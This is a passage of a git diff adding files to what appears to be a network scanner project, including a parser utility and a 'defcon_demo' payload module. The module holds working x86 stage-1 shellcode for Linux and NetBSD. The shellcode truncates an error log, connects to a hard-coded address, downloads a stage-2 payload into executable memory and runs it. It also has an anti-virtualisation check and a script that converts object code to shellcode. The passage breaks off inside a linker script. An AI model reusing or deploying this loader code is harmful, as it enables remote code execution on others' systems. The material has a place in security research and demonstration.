data.ptr=(char *)$1; + pbuffer_append(&data); + } + } + | pdata STR { + if (SEND || MAIN) { + buf_t data; + + data.len=strlen($2); + data.ptr=(char *)$2; + pbuffer_append(&data); + } + } + ; diff --git a/src/parse/putil.c b/src/parse/putil.c new file mode 100644 index 0000000..8e82331 --- /dev/null +++ b/src/parse/putil.c @@ -0,0 +1,198 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include +#include +#include +#include + +static size_t buffer_size=0; +static char *bbuf=NULL; + +extern void uuerror(const char *); + +#define PPBLOCK_SIZE 64 + +int uuescapestr(const char *in, buf_t *bout) { + uint8_t *out=NULL; + char bstr=0; + int j=0, j1=0; +#define BIN bstr=1 + + assert(in != NULL); + if (*in == '"' && *(in + 1) != '\0') in++; + + /* we'll do better down there */ + out=(uint8_t *)xmalloc(strlen(in)); + memcpy(out, in, strlen(in)); + + for (j=0, j1=0 ; j < (int)strlen(in) ; j++) { + if (in[j] == '\\' && in[j + 1] != '\0') { + const char *tmpptr=NULL; + int oweight=0, result=0; + + ++j; + switch (in[j]) { + case 'a': + out[j1++]='\a'; BIN; break; + case 'b': + out[j1++]='\b'; BIN; break; + case 'f': + out[j1++]='\f'; BIN; break; + case 'n': + out[j1++]='\n'; BIN; break; + case 'r': + out[j1++]='\r'; BIN; break; + case 't': + out[j1++]='\t'; BIN; break; + case 'v': + out[j1++]='\v'; BIN; break; + case '\'': /* " and ' are escaped to be the same thing */ + case '"': + out[j1++]=in[j]; j++; break; + case '\\': + out[j1++]='\\'; break; + case '0': case '1': case '2': case '3': + case '4': case '5': case '6': case '7': + BIN; + /* start at index 0, go to max 3 spaces with all chars being 0 - 7 */ + for (tmpptr=&in[j], oweight=0; + *tmpptr != '\0' && (*tmpptr >= 0x30 && *tmpptr <= 0x37) && oweight < 65; + tmpptr++) { + if (oweight) { + oweight=(oweight * 8); + } + else { + oweight++; + } + } + + for (tmpptr=&in[j], result=0; + *tmpptr != '\0' && (*tmpptr >= 0x30 && *tmpptr <= 0x37) && oweight > 0; + tmpptr++, j++, oweight=(oweight / 8)) { + int add=0; char bob[2]; + + bob[0]=*tmpptr; bob[1]='\0'; + add=atoi(bob); + result += (add * oweight); + } + /* truncate \777 to 0xFF like \377 */ + out[j1++]=(result & 0xFF); --j; + /* im too lazy to refactor this so i dont need the -- so :P */ + break; + case 'x': + BIN; + /* start at index 0, go to max 2 spaces with all chars being 0 - 7 */ + j++; + tmpptr=&in[j]; + if (*tmpptr == '\0' || *(tmpptr + 1) == '\0') { + terminate("Broken hex escape, its late, sorry"); + } + if (1) { + char str[3]; + int num=0; + + str[0]=*tmpptr; str[1]=*(tmpptr + 1); str[2]='\0'; j++; + + if (sscanf(str, "%x", &num) != 1) { + terminate("Broken hex escape (from sscanf), sorry `%s'", str); + } + out[j1++]=(num & 0xFF); + } + break; + default: + ERR("unhandled escapechar `%c'", in[j]); + break; + } + } + else { + if ((j + 1) != (int)strlen(in)) { /* no trailing " from string */ + out[j1++]=in[j]; + } + } + } + + if (bstr) { + bout->len=0; + bout->ptr=NULL; + bout->len=j1; + bout->ptr=(char *)xmalloc((size_t)j1); + memset(bout->ptr, 0, (size_t)j1); + memcpy(bout->ptr, out, (size_t)j1); + } + else { + /* terminate with a \0 if non-binary */ + bout->len=j1; + bout->ptr=(char *)xmalloc((size_t)(j1 + 1)); + memset(bout->ptr, 0, (size_t)(j1 + 1)); + memcpy(bout->ptr, out, (size_t)j1); + } + + xfree(out); + + if (bstr) { + return BSTR; + } + return STR; +} + +void pbuffer_get(buf_t *in) { + in->len=buffer_size; + in->ptr=bbuf; +} + +void pbuffer_append(buf_t *in) { + assert(in != NULL); + + if (in->len == 0 || in->ptr == NULL) { + return; + } + + if (bbuf == NULL) { + bbuf=(char *)xmalloc(in->len); + memcpy(bbuf, in->ptr, in->len); + buffer_size=in->len; + } + else { + char *newbuf=NULL; + + assert((buffer_size + in->len) > buffer_size); + + newbuf=(char *)xrealloc(bbuf, buffer_size + in->len); + memcpy(newbuf + buffer_size, in->ptr, in->len); + + bbuf=newbuf; + buffer_size=buffer_size + in->len; + } + + return; +} + +void pbuffer_reset(void) { + buffer_size=0; + if (bbuf) { + xfree(bbuf); + } + bbuf=NULL; + return; +} diff --git a/src/parse/putil.h b/src/parse/putil.h new file mode 100644 index 0000000..08c18e8 --- /dev/null +++ b/src/parse/putil.h @@ -0,0 +1,39 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _PUTIL_H +# define _PUTIL_H + +typedef struct buf_t { + char *ptr; + size_t len; +} buf_t; + +int uuescapestr(const char *, buf_t *); + +void pbuffer_get(buf_t *); +void pbuffer_append(buf_t *); +void pbuffer_reset(void); + +int uuparse(void); +int uulex(void); + +void add_tcpflag(int flag); +int get_tcpflags(void); + +#endif diff --git a/src/payload_modules/Makefile.in b/src/payload_modules/Makefile.in new file mode 100644 index 0000000..96ce51e --- /dev/null +++ b/src/payload_modules/Makefile.in @@ -0,0 +1,40 @@ +include ../../Makefile.inc + +SRCS=ntalk.c rdns.c sip.c upnp.c http.c httpexp.c + +OBJS=$(SRCS:.c=.lo) +SHLIBS=$(OBJS:.lo=.la) + +CFLAGS += -DMODULE=1 -I./libunirainbow -L./libunirainbow + +%.la: %.lo + $(LIBTOOL) --mode=link $(CC) $(MODCLFLAGS) $(CFLAGS) -o $@ $< -lunirainbow + +all: libunirainbowd $(SHLIBS) + +clean: + $(LIBTOOL) --mode=clean rm -f $(SHLIBS) + $(LIBTOOL) --mode=clean rm -f $(OBJS) + rm -rf .libs $(OBJS:.lo=.o) + cd libunirainbow && $(USE_MAKE) clean + +libunirainbowd: + cd libunirainbow && $(USE_MAKE) + +distclean: clean + +install: all + mkdir -p $(DESTDIR)/$(MODDIR) + for g in $(SHLIBS); do \ + $(LIBTOOL) --mode=install $(INSTALL_PROGRAM) -m 755 $$g $(DESTDIR)/$(MODDIR)/; \ + if test -f $(DESTDIR)/$(MODDIR)/$${g%%.la}.so; then \ + $(CHCON) system_u:object_r:shlib_t $(DESTDIR)/$(MODDIR)/$${g%%.la}.so; \ + fi \ + done + # this is totally retarded + $(LIBTOOL) --mode=finish $(DESTDIR)/$(MODDIR) + +uninstall: + for g in $(SHLIBS); do \ + $(LIBTOOL) --mode=uninstall rm -f $(DESTDIR)/$(MODDIR)/$${g}; \ + done diff --git a/src/payload_modules/defcon_demo/stage1/makefile b/src/payload_modules/defcon_demo/stage1/makefile new file mode 100644 index 0000000..7af2e74 --- /dev/null +++ b/src/payload_modules/defcon_demo/stage1/makefile @@ -0,0 +1,13 @@ + +all: /tmp/linux-stage1.bin /tmp/netbsd-stage1.bin + +/tmp/linux-stage1.bin: payload-linux26.S makefile mkbin.sh + $(CC) $(CFLAGS) -c -o payload-linux26.o payload-linux26.S + ./mkbin.sh payload-linux26.o > /tmp/linux-stage1.bin + +/tmp/netbsd-stage1.bin: payload-netbsd.S makefile mkbin.sh + $(CC) $(CFLAGS) -c -o payload-netbsd.o payload-netbsd.S + ./mkbin.sh payload-netbsd.o > /tmp/netbsd-stage1.bin + +clean: + rm -f payload-linux26.o /tmp/linux-stage1.bin payload-linux26 payload-netbsd.o /tmp/netbsd-stage1.bin diff --git a/src/payload_modules/defcon_demo/stage1/mkbin.sh b/src/payload_modules/defcon_demo/stage1/mkbin.sh new file mode 100755 index 0000000..4ecd311 --- /dev/null +++ b/src/payload_modules/defcon_demo/stage1/mkbin.sh @@ -0,0 +1,5 @@ +#!/bin/sh + +sc=$(objdump -d ${*}|awk -F'[:\t]' '$1 ~ /^ +[0-9a-z]+/{print $3}'|tr '\n' ' '| sed -e 's/[0-9a-f][0-9a-f] /\\x&/g' -e 's/ //g') + +printf "$sc" diff --git a/src/payload_modules/defcon_demo/stage1/payload-linux26.S b/src/payload_modules/defcon_demo/stage1/payload-linux26.S new file mode 100644 index 0000000..4ea5bae --- /dev/null +++ b/src/payload_modules/defcon_demo/stage1/payload-linux26.S @@ -0,0 +1,295 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#define SYS_exit $0x01 +#define SYS_read $0x03 +#define SYS_write $0x04 +#define SYS_open $0x05 +#define SYS_close $0x06 +#define SYS_execve $0x0b +#define SYS_pause $0x1d +#define SYS_signal $0x30 +#define SYS_socketcall $0x66 +#define SYS_mmap $0x5a +#define SYS_ftruncate $0x5d + +#define S_connect $0x03 + +#define O_RDONLY $0x02 + +#define PROT_RWX $0x07 +#define MAP_PRIVATE $0x02 +#define MAP_ANONYMOUS $0x20 +#define MAP_FIXED $0x10 + +#define TIMEOUT $0x10 + +#define SOCKET_FD -60(%ebp) +#define MEMORY_PTR -64(%ebp) +#define ZERO_FD -68(%ebp) +#define STAGE2_SIZE -72(%ebp) +#define TMPPTR -76(%ebp) + +#define SYSCALL int $0x80 +#define DEBUG_TRAP int $0x03 + +#define STAGE2_EP_1 $0x41313131 +#define STAGE2_EP_2 $0x61313131 + +#define ZEROREG %edi + +# _exit w/code +.macro exit code + movl \code, %ebx + xorl %eax, %eax + movb SYS_exit, %al + SYSCALL +.endm + +.macro ouch + xorl %ebx, %ebx + xorl %eax, %eax + xorl %edx, %edx + movl $0x4843554f, -20(%ebp) + leal -20(%ebp), %ecx + movb $1, %bl + movb SYS_write, %al + movb $4, %dl + SYSCALL +.endm + +.macro ask_stage2 + # -20 platform (1 = linux x86) + movl SOCKET_FD, %ebx + xorl %ecx, %ecx + incl %ecx + movl %ecx, -20(%ebp) + leal -20(%ebp), %ecx + xorl %edx, %edx + addb $0x04, %dl + xorl %eax, %eax + movb SYS_write, %al + SYSCALL +.endm + +.macro no_virtual_bullshit + pushl %eax + pushl %ebx + sgdtl -4(%esp) + popl %ebx + popl %eax + shr $8, %eax + xorb $0x50, %al + cmpb $0x50, %al + je ok + # BAD BAD BAD +dosloop: + xorl %eax, %eax + incl %esp + jmp dosloop +ok: +.endm + +.macro socket_make + # int socket(int domain, int type, int protocol); + xorl %eax, %eax + movb SYS_socketcall, %al # SYS_socketcall + xorl %ebx, %ebx + incl %ebx + incl %ebx + movl %ebx, -28(%ebp) # PF_INET + decl %ebx + movl %ebx, -24(%ebp) # SOCK_STREAM + decl %ebx + movl %ebx, -20(%ebp) # IPPROTO_IP + leal -28(%ebp), %ecx + incl %ebx # socket + SYSCALL + # XXX Error Checking + movl %eax, SOCKET_FD +.endm + +.macro connect sock addr port + # int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen); + # -44 sockaddr_in + # -40 sockaddr_in + # -36 sockaddr_in + # -32 sockaddr_in + # -28 param 1 + # -24 param 2 + # -20 param 3 + xorl %eax, %eax + movb $0x02, %al + movw %ax, -44(%ebp) # 2 = PF_INET + movw \port, -42(%ebp) # Port + movl \addr, -40(%ebp) # Addr + # + movl \sock, -28(%ebp) # socket + leal -44(%ebp), %eax # + movl %eax, -24(%ebp) # + movl ZEROREG, -20(%ebp) # + addb $0x10, -20(%ebp) # 16 = sizeof(sockaddr) + xorl %ebx, %ebx + movb S_connect, %bl # connect + leal -28(%ebp), %ecx # put args in place + xorl %eax, %eax + movb SYS_socketcall, %al + SYSCALL +.endm + +.macro debug_setup + call get_eip +get_eip: + popl %ecx + xorl %eax, %eax + movb SYS_signal, %al # + xorl %ebx, %ebx + movb $0xc, %bl # SIGUSR2 + addb $0x14, %bl + SYSCALL + xorl %eax, %eax + movb SYS_pause, %al # + SYSCALL +.endm + +.macro truncate_errorlog fd + xorl %eax, %eax + movb SYS_ftruncate, %al + xorl %ebx, %ebx + incl %ebx + incl %ebx + xor %ecx, %ecx + SYSCALL +.endm + +.macro prolog + movl %esp, %ebp + subl $127, %esp + xorl ZEROREG, ZEROREG +.endm + +.macro read_stage2_size + xorl %eax, %eax + movb SYS_read, %al + movl SOCKET_FD, %ebx + pushl %eax + movl %esp, %ecx + xorl %edx, %edx + addb $4, %dl + SYSCALL + popl %eax + movl %eax, STAGE2_SIZE # stash for later +.endm + +.macro allocate_memory size + # open(/dev/zero, O_RDONLY) + # - 4 FD from opencall + # - 8 \0\0\06f [o\0\0\0] + # -12 71657a2f [/zer] + # -16 7665642f [/dev] + + movl \size, -24(%ebp) + + #xorl %eax, %eax + #movb $0x6f, %al + #movl %eax, -8(%ebp) + #movl $0x72657a2f, -12(%ebp) + #movl $0x7665642f, -16(%ebp) + #leal -16(%ebp), %ebx + #xorl %ecx, %ecx + #movb O_RDONLY, %cl + #movb SYS_open, %al + #SYSCALL + #movl %eax, -4(%ebp) + + # so we want old_mmap(0, 4096, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, FD, 0) (syscall 90) + # -28 START 0 + # -24 SIZE (SET UP ALREADY ABOVE) + # -20 PROT 7 = PROT_WRITE|PROT_READ|PROT_EXEC + # -16 FLAGS 2 = MAP_PRIVATE + # -12 FD ? = FD (not used) + # - 8 OFF 0 + movl STAGE2_EP_1, %eax + xorl STAGE2_EP_2, %eax + movl %eax, -28(%ebp) + xorl %eax, %eax + movl %eax, -8(%ebp) + xorl %eax, %eax + movb $0x07, %al + movl %eax, -20(%ebp) + movb MAP_PRIVATE, %al + xorb MAP_ANONYMOUS, %al + xorb MAP_FIXED, %al + movl %eax, -16(%ebp) + #movl -4(%ebp), %eax + movl %eax, -12(%ebp) + xorl %eax, %eax + leal -28(%ebp), %ebx + movb $0x5a, %al + SYSCALL + movl %eax, MEMORY_PTR +.endm + +.macro readin_stage2 size + movl MEMORY_PTR, %edi + movl %edi, TMPPTR + movl STAGE2_SIZE, %esi +again: + movl SOCKET_FD, %ebx + movl TMPPTR, %ecx + movl STAGE2_SIZE, %edx + xorl %eax, %eax + movb SYS_read, %al + SYSCALL + xorl %ebx, %ebx + cmp %eax, %ebx + jg error + cmp %eax, STAGE2_SIZE + je out + subl %eax, STAGE2_SIZE + addl %eax, TMPPTR + jmp again +error: + xorl %eax, %eax + incl %eax + int $0x80 +out: +.endm + +.macro execute_stage2 + jmp *MEMORY_PTR +.endm + +.globl _start + +_start: + #debug_setup + #no_virtual_bullshit + prolog + truncate_errorlog + socket_make + movl SOCKET_FD, %esi + movl $0x0137a8c0, %edx + connect %esi %edx $0x9326 + ask_stage2 + read_stage2_size + # returns %eax as size from stage2 server AND stashes it at STAGE2_SIZE + allocate_memory %eax + readin_stage2 + #ouch + execute_stage2 diff --git a/src/payload_modules/defcon_demo/stage1/payload-netbsd.S b/src/payload_modules/defcon_demo/stage1/payload-netbsd.S new file mode 100644 index 0000000..9ce0ec7 --- /dev/null +++ b/src/payload_modules/defcon_demo/stage1/payload-netbsd.S @@ -0,0 +1,265 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#define SYS_exit $0x01 +#define SYS_read $0x03 +#define SYS_write $0x04 +#define SYS_open $0x05 +#define SYS_close $0x06 +#define SYS_socket $0x61 +#define SYS_connect $0x62 +#define SYS_mmap $0x47 +#define SYS_ftruncate $0xc9 + +#define S_connect $0x03 + +#define O_RDONLY $0x02 + +#define PROT_RWX $0x07 +#define MAP_PRIVATE $0x02 +#define MAP_ANONYMOUS $0x20 +#define MAP_FIXED $0x10 + +#define TIMEOUT $0x10 + +#define SOCKET_FD -60(%ebp) +#define MEMORY_PTR -64(%ebp) +#define ZERO_FD -68(%ebp) +#define STAGE2_SIZE -72(%ebp) +#define TMPPTR -76(%ebp) + +#define SYSCALL int $0x80 +#define DEBUG_TRAP int $0x03 + +#define STAGE2_EP_1 $0x41313131 +#define STAGE2_EP_2 $0x61313131 + +#define ZEROREG %edi + +# _exit +.macro exit0 + xorl %eax, %eax + pushl %eax + incl %eax + pushl %eax + SYSCALL +.endm + +.macro ask_stage2 + # -20 platform (1 = linux x86) + movl SOCKET_FD, %ebx + xorl %ecx, %ecx + incl %ecx + movl %ecx, -20(%ebp) + leal -20(%ebp), %ecx + xorl %edx, %edx + addb $0x04, %dl + xorl %eax, %eax + movb SYS_write, %al + SYSCALL +.endm + +.macro socket_make + # int socket(int domain, int type, int protocol); + xorl %eax, %eax + movb SYS_socketcall, %al # SYS_socketcall + xorl %ebx, %ebx + incl %ebx + incl %ebx + movl %ebx, -28(%ebp) # PF_INET + decl %ebx + movl %ebx, -24(%ebp) # SOCK_STREAM + decl %ebx + movl %ebx, -20(%ebp) # IPPROTO_IP + leal -28(%ebp), %ecx + incl %ebx # socket + SYSCALL + # XXX Error Checking + movl %eax, SOCKET_FD +.endm + +.macro connect sock addr port + # int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen); + # -44 sockaddr_in + # -40 sockaddr_in + # -36 sockaddr_in + # -32 sockaddr_in + # -28 param 1 + # -24 param 2 + # -20 param 3 + xorl %eax, %eax + movb $0x02, %al + movw %ax, -44(%ebp) # 2 = PF_INET + movw \port, -42(%ebp) # Port + movl \addr, -40(%ebp) # Addr + # + movl \sock, -28(%ebp) # socket + leal -44(%ebp), %eax # + movl %eax, -24(%ebp) # + movl ZEROREG, -20(%ebp) # + addb $0x10, -20(%ebp) # 16 = sizeof(sockaddr) + xorl %ebx, %ebx + movb S_connect, %bl # connect + leal -28(%ebp), %ecx # put args in place + xorl %eax, %eax + movb SYS_socketcall, %al + SYSCALL +.endm + +.macro debug_setup + call get_eip +get_eip: + popl %ecx + xorl %eax, %eax + movb SYS_signal, %al # + xorl %ebx, %ebx + movb $0xc, %bl # SIGUSR2 + addb $0x14, %bl + SYSCALL + xorl %eax, %eax + movb SYS_pause, %al # + SYSCALL +.endm + +.macro truncate_errorlog fd + xorl %eax, %eax + movb SYS_ftruncate, %al + xorl %ebx, %ebx + incl %ebx + incl %ebx + xor %ecx, %ecx + SYSCALL +.endm + +.macro prolog + movl %esp, %ebp + subl $127, %esp + xorl ZEROREG, ZEROREG +.endm + +.macro read_stage2_size + xorl %eax, %eax + movb SYS_read, %al + movl SOCKET_FD, %ebx + pushl %eax + movl %esp, %ecx + xorl %edx, %edx + addb $4, %dl + SYSCALL + popl %eax + movl %eax, STAGE2_SIZE # stash for later +.endm + +.macro allocate_memory size + # open(/dev/zero, O_RDONLY) + # - 4 FD from opencall + # - 8 \0\0\06f [o\0\0\0] + # -12 71657a2f [/zer] + # -16 7665642f [/dev] + + movl \size, -24(%ebp) + + #xorl %eax, %eax + #movb $0x6f, %al + #movl %eax, -8(%ebp) + #movl $0x72657a2f, -12(%ebp) + #movl $0x7665642f, -16(%ebp) + #leal -16(%ebp), %ebx + #xorl %ecx, %ecx + #movb O_RDONLY, %cl + #movb SYS_open, %al + #SYSCALL + #movl %eax, -4(%ebp) + + # so we want old_mmap(0, 4096, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, FD, 0) (syscall 90) + # -28 START 0 + # -24 SIZE (SET UP ALREADY ABOVE) + # -20 PROT 7 = PROT_WRITE|PROT_READ|PROT_EXEC + # -16 FLAGS 2 = MAP_PRIVATE + # -12 FD ? = FD (not used) + # - 8 OFF 0 + movl STAGE2_EP_1, %eax + xorl STAGE2_EP_2, %eax + movl %eax, -28(%ebp) + xorl %eax, %eax + movl %eax, -8(%ebp) + xorl %eax, %eax + movb $0x07, %al + movl %eax, -20(%ebp) + movb MAP_PRIVATE, %al + xorb MAP_ANONYMOUS, %al + xorb MAP_FIXED, %al + movl %eax, -16(%ebp) + #movl -4(%ebp), %eax + movl %eax, -12(%ebp) + xorl %eax, %eax + leal -28(%ebp), %ebx + movb $0x5a, %al + SYSCALL + movl %eax, MEMORY_PTR +.endm + +.macro readin_stage2 size + movl MEMORY_PTR, %edi + movl %edi, TMPPTR + movl STAGE2_SIZE, %esi +again: + movl SOCKET_FD, %ebx + movl TMPPTR, %ecx + movl STAGE2_SIZE, %edx + xorl %eax, %eax + movb SYS_read, %al + SYSCALL + xorl %ebx, %ebx + cmp %eax, %ebx + jg error + cmp %eax, STAGE2_SIZE + je out + subl %eax, STAGE2_SIZE + addl %eax, TMPPTR + jmp again +error: + xorl %eax, %eax + incl %eax + int $0x80 +out: +.endm + +.macro execute_stage2 + jmp *MEMORY_PTR +.endm + +.globl _start + +_start: + #debug_setup + #no_virtual_bullshit + int $3 + prolog + truncate_errorlog + socket_make + movl SOCKET_FD, %esi + movl $0x0137a8c0, %edx + connect %esi %edx $0x9326 + ask_stage2 + read_stage2_size + # returns %eax as size from stage2 server AND stashes it at STAGE2_SIZE + allocate_memory %eax + readin_stage2 + #ouch + execute_stage2 diff --git a/src/payload_modules/defcon_demo/stage2/makefile b/src/payload_modules/defcon_demo/stage2/makefile new file mode 100644 index 0000000..d3a80e5 --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/makefile @@ -0,0 +1,22 @@ + +CC=gcc +CFLAGS=-Wall -g + +all: sc_server shclient + +sc_server: sc_server.c linux-x86.bin netbsd-x86.bin + $(CC) $(CFLAGS) -o sc_server sc_server.c + +linux-x86.bin: + cd payload_src && make + +netbsd-x86.bin: + @echo + @echo -e '!!! You need to copy netbsd stage2 from something else...ill throw an int3 in the blank !!!' + @echo + @sleep 2 + printf '\xcc' > netbsd-x86.bin + +clean: + rm -f core expl shellcode.h payload.o payload sc_server *.bin shclient + cd payload_src && make clean diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/README b/src/payload_modules/defcon_demo/stage2/payload_src/README new file mode 100644 index 0000000..1fb735c --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/README @@ -0,0 +1,3 @@ +the linker script comes adapted from impurity-1.0 by Alexander E. Cuttergo + +REQUIREMENTS: you need dietlibc installed for the linux payload... diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/ld-script b/src/payload_modules/defcon_demo/stage2/payload_src/ld-script new file mode 100644 index 0000000..5ef8a49 --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/ld-script @@ -0,0 +1,170 @@ +OUTPUT_FORMAT("elf32-i386", "elf32-i386", + "elf32-i386") +OUTPUT_ARCH(i386) +ENTRY(_start) +SEARCH_DIR("/usr/i486-slackware-linux/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); +/* Do we need any of these for elf? + __DYNAMIC = 0; */ +SECTIONS +{ + /* Read-only sections, merged into text segment: */ + . = 0x20000000 + SIZEOF_HEADERS; + .interp : { *(.interp) } + .hash : { *(.hash) } + .dynsym : { *(.dynsym) } + .dynstr : { *(.dynstr) } + .gnu.version : { *(.gnu.version) } + .gnu.version_d : { *(.gnu.version_d) } + .gnu.version_r : { *(.gnu.version_r) } + .rel.init : { *(.rel.init) } + .rela.init : { *(.rela.init) } + .rel.text : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) } + .rela.text : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) } + .rel.fini : { *(.rel.fini) } + .rela.fini : { *(.rela.fini) } + .rel.rodata : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) } + .rela.rodata : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) } + .rel.data : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) } + .rela.data : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) } + .rel.tdata : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) } + .rela.tdata : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) } + .rel.tbss : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) } + .rela.tbss : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) } + .rel.ctors : { *(.rel.ctors) } + .rela.ctors : { *(.rela.ctors) } + .rel.dtors : { *(.rel.dtors) } + .rela.dtors : { *(.rela.dtors) } + .rel.got : { *(.rel.got) } + .rela.got : { *(.rela.got) } + .rel.bss : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) } + .rela.bss : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) } + .rel.plt : { *(.rel.plt) } + .rela.plt : { *(.rela.plt) } + .init : + { + KEEP (*(.init)) + } =0x90909090 + .plt : { *(.plt) } + .text : + { + *(.text .stub .text.* .gnu.linkonce.t.*) + /* .gnu.warning sections are handled specially by elf32.em. */ + *(.gnu.warning) + } =0x90909090 + .fini : + { + KEEP (*(.fini)) + } =0x90909090 + PROVIDE (__etext = .); + PROVIDE (_etext = .); + PROVIDE (etext = .); + .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } + .rodata1 : { *(.rodata1) } + .eh_frame_hdr : { *(.eh_frame_hdr) } + /* Adjust the address for the data segment. We want to adjust up to + the same address within the page on the next page up. */ + . = .; + /* Ensure the __preinit_array_start label is properly aligned. We + could instead move the label definition inside the section, but + the linker would then create the section even if it turns out to + be empty, which isn't pretty. */ + . = ALIGN(32 / 8); + PROVIDE (__preinit_array_start = .); + .preinit_array : { *(.preinit_array) } + PROVIDE (__preinit_array_end = .); + PROVIDE (__init_array_start = .); + .init_array : { *(.init_array) } + PROVIDE (__init_array_end = .); + PROVIDE (__fini_array_start = .); + .fini_array : { *(.fini_array) } + PROVIDE (__fini_array_end = .); + .data : + { + *(.data .data.* .gnu.linkonce.d.*) + SORT(CONSTRUCTORS) + } + .data1 : { *(.data1) } + .tdata : { *(.tdata .tdata.* .gnu.linkonce.td.*) } + .tbss : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) } + .eh_frame : { KEEP (*(.eh_frame)) } + .gcc_except_table : { *(.gcc_except_table) } + .dynamic : { *(.dynamic) } + .ctors : + { + /* gcc uses crtbegin.o to find the start of + the constructors, so we make sure it is + first. Because this is a wildcard, it + doesn't matter if the user does not + actually link against crtbegin.o; the + linker won't look for a file to match a + wildcard. The wildcard also means that it + doesn't matter which directory crtbegin.o + is in. */ + KEEP (*crtbegin.o(.ctors)) + /* We don't want to include the .ctor section from + from the crtend.o file until after the sorted ctors. + The .ctor section from the crtend file contains the + end of ctors marker and it must be last */ + KEEP (*(EXCLUDE_FILE (*crtend.o ) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*(.ctors)) + } + .dtors : + { + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o ) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*(.dtors)) + } + .jcr : { KEEP (*(.jcr)) } + .got : { *(.got.plt) *(.got) } + _edata = .; + PROVIDE (edata = .); + __bss_start = .; + .bss : + { + *(.dynbss) + *(.bss .bss.* .gnu.linkonce.b.*) + *(COMMON) + /* Align here to ensure that the .bss section occupies space up to + _end. Align after .bss to ensure correct alignment even if the + .bss section disappears because there are no input sections. */ + . = ALIGN(32 / 8); + } + . = ALIGN(32 / 8); + _end = .; + PROVIDE (end = .); + /* Stabs debugging sections. */ + .stab 0 : { *(.stab) } + .stabstr 0 : { *(.stabstr) } + .stab.excl 0 : { *(.stab.excl) } + .stab.exclstr 0 : { *(.stab.exclstr) } + .stab.index 0 : { *(.stab.index) } + .stab.indexstr 0 : { *(.stab.indexstr) } + .comment 0 : { *(.comment) } + /* DWARF debug sections. + Symbols in the DWARF debugging sections are relative to the beginning + of the section so we begin them at 0. */ + /* DWARF 1 */ + .debug 0 : { *(.debug) } + .line 0 : { *(.line) } + /* GNU DWARF 1 extensions */ + .debug_srcinfo 0 : { *(.debug_srcinfo) } + .debug_sfnames 0 : { *(.debug_sfnames) } + /* DWARF 1.1 and DWARF 2 */ + .debug_aranges 0 : { *(.debug_aranges) } + .debug_pubnames 0 : { *(.debug_pubnames) } + /* DWARF 